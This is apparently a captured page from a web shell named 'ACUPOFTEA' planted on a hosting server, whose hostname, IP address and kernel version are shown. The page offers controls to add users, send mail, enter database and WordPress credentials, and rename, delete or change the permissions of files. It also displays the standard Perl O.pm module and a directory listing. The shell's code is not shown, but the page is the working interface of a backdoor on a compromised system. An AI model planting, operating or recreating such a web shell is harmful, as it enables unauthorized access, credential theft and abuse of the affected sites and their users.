System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
perl5
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
O.pm
package O; our $VERSION = '1.01'; use B qw(minus_c save_BEGINs); use Carp; sub import { my ($class, @options) = @_; my ($quiet, $veryquiet) = (0, 0); if ($options[0] eq '-q' || $options[0] eq '-qq') { $quiet = 1; open (SAVEOUT, ">&STDOUT"); close STDOUT; open (STDOUT, ">", \$O::BEGIN_output); if ($options[0] eq '-qq') { $veryquiet = 1; } shift @options; } my $backend = shift (@options); eval q[ BEGIN { minus_c; save_BEGINs; } CHECK { if ($quiet) { close STDOUT; open (STDOUT, ">&SAVEOUT"); close SAVEOUT; } # Note: if you change the code after this 'use', please # change the fudge factors in B::Concise (grep for # "fragile kludge") so that its output still looks # nice. Thanks. --smcc use B::].$backend.q[ (); if ($@) { croak "use of backend $backend failed: $@"; } my $compilesub = &{"B::${backend}::compile"}(@options); if (ref($compilesub) ne "CODE") { die $compilesub; } local $savebackslash = $\; local ($\,$",$,) = (undef,' ',''); &$compilesub(); close STDERR if $veryquiet; } ]; die $@ if $@; } 1; __END__ =head1 NAME O - Generic interface to Perl Compiler backends =head1 SYNOPSIS perl -MO=[-q,]Backend[,OPTIONS] foo.pl =head1 DESCRIPTION This is the module that is used as a frontend to the Perl Compiler. If you pass the C<-q> option to the module, then the STDOUT filehandle will be redirected into the variable C<$O::BEGIN_output> during compilation. This has the effect that any output printed to STDOUT by BEGIN blocks or use'd modules will be stored in this variable rather than printed. It's useful with those backends which produce output themselves (C<Deparse>, C<Concise> etc), so that their output is not confused with that generated by the code being compiled. The C<-qq> option behaves like C<-q>, except that it also closes STDERR after deparsing has finished. This suppresses the "Syntax OK" message normally produced by perl. =head1 CONVENTIONS Most compiler backends use the following conventions: OPTIONS consists of a comma-separated list of words (no white-space). The C<-v> option usually puts the backend into verbose mode. The C<-ofile> option generates output to B<file> instead of stdout. The C<-D> option followed by various letters turns on various internal debugging flags. See the documentation for the desired backend (named C<B::Backend> for the example above) to find out about that backend. =head1 IMPLEMENTATION This section is only necessary for those who want to write a compiler backend module that can be used via this module. The command-line mentioned in the SYNOPSIS section corresponds to the Perl code use O ("Backend", OPTIONS); The C<O::import> function loads the appropriate C<B::Backend> module and calls its C<compile> function, passing it OPTIONS. That function is expected to return a sub reference which we'll call CALLBACK. Next, the "compile-only" flag is switched on (equivalent to the command-line option C<-c>) and a CHECK block is registered which calls CALLBACK. Thus the main Perl program mentioned on the command-line is read in, parsed and compiled into internal syntax tree form. Since the C<-c> flag is set, the program does not start running (excepting BEGIN blocks of course) but the CALLBACK function registered by the compiler backend is called. In summary, a compiler backend module should be called "B::Foo" for some foo and live in the appropriate directory for that name. It should define a function called C<compile>. When the user types perl -MO=Foo,OPTIONS foo.pl that function is called and is passed those OPTIONS (split on commas). It should return a sub ref to the main compilation function. After the user's program is loaded and parsed, that returned sub ref is invoked which can then go ahead and do the compilation, usually by making use of the C<B> module's functionality. =head1 BUGS The C<-q> and C<-qq> options don't work correctly if perl isn't compiled with PerlIO support : STDOUT will be closed instead of being redirected to C<$O::BEGIN_output>. =head1 AUTHOR Malcolm Beattie, C<mbeattie@sable.ox.ac.uk> =cut
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
..
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
B
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
CORE
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Devel
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
File
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
Hash
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
I18N
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
IO
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IPC
DIR
-
drwxr-xr-x
2025-07-28 08:07:09
PerlIO
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
Sys
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
Tie
DIR
-
drwxr-xr-x
2025-07-28 08:07:09
Time
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
asm
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
asm-generic
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
auto
DIR
-
drwxr-xr-x
2025-07-28 08:07:09
bits
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
gnu
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
linux
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
machine
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
sys
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
vendor_perl
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
B.pm
text/plain
30.72 KB
-rw-r--r--
2025-07-28 08:07:09
Config.pm
text/plain
3.12 KB
-rw-r--r--
2025-07-28 08:07:09
Config.pod
text/plain
250.87 KB
-rw-r--r--
2025-07-28 08:07:09
Config_git.pl
text/plain
409 B
-rw-r--r--
2025-07-28 08:07:09
Config_heavy.pl
text/plain
55.33 KB
-rw-r--r--
2025-07-28 08:07:09
DynaLoader.pm
text/plain
24.63 KB
-rw-r--r--
2025-07-28 08:07:09
Errno.pm
text/plain
6.7 KB
-rw-r--r--
2025-07-28 08:07:09
Fcntl.pm
text/plain
3.95 KB
-rw-r--r--
2025-07-28 08:07:09
GDBM_File.pm
text/plain
1.51 KB
-rw-r--r--
2025-07-28 08:07:09
IO.pm
text/plain
1.42 KB
-rw-r--r--
2025-07-28 08:07:09
NDBM_File.pm
text/plain
2.44 KB
-rw-r--r--
2025-07-28 08:07:09
O.pm
text/plain
4.11 KB
-rw-r--r--
2025-07-28 08:07:09
ODBM_File.pm
text/plain
2.33 KB
-rw-r--r--
2025-07-28 08:07:09
Opcode.pm
text/plain
15.52 KB
-rw-r--r--
2025-07-28 08:07:09
POSIX.pm
text/plain
19.72 KB
-rw-r--r--
2025-07-28 08:07:09
POSIX.pod
text/plain
71.98 KB
-rw-r--r--
2025-07-28 08:07:09
SDBM_File.pm
text/plain
3.46 KB
-rw-r--r--
2025-07-28 08:07:09
_h2ph_pre.ph
text/plain
28.57 KB
-rw-r--r--
2025-07-28 08:07:18
arybase.pm
text/plain
2.75 KB
-rw-r--r--
2025-07-28 08:07:09
attributes.pm
text/plain
16.53 KB
-rw-r--r--
2025-07-28 08:07:09
endian.ph
text/plain
4.36 KB
-rw-r--r--
2025-07-28 08:07:18
features.ph
text/plain
13.37 KB
-rw-r--r--
2025-07-28 08:07:18
lib.pm
text/plain
5.87 KB
-rw-r--r--
2025-07-28 08:07:09
mro.pm
text/plain
9.86 KB
-rw-r--r--
2025-07-28 08:07:09
ops.pm
text/plain
997 B
-rw-r--r--
2025-07-28 08:07:09
perllocal.pod
text/plain
3.31 KB
-rw-r--r--
2024-03-13 05:14:35
re.pm
text/plain
22.16 KB
-rw-r--r--
2025-07-28 08:07:09
signal.ph
text/plain
3.3 KB
-rw-r--r--
2025-07-28 08:07:18
stdarg.ph
text/plain
2.8 KB
-rw-r--r--
2025-07-28 08:07:18
stdc-predef.ph
text/plain
840 B
-rw-r--r--
2025-07-28 08:07:18
stddef.ph
text/plain
12.08 KB
-rw-r--r--
2025-07-28 08:07:18
syscall.ph
text/plain
86 B
-rw-r--r--
2025-07-28 08:07:18
syslimits.ph
text/plain
452 B
-rw-r--r--
2025-07-28 08:07:18
syslog.ph
text/plain
85 B
-rw-r--r--
2025-07-28 08:07:18
wait.ph
text/plain
83 B
-rw-r--r--
2025-07-28 08:07:18
~ ACUPOFTEA - mail.ontime-ae.com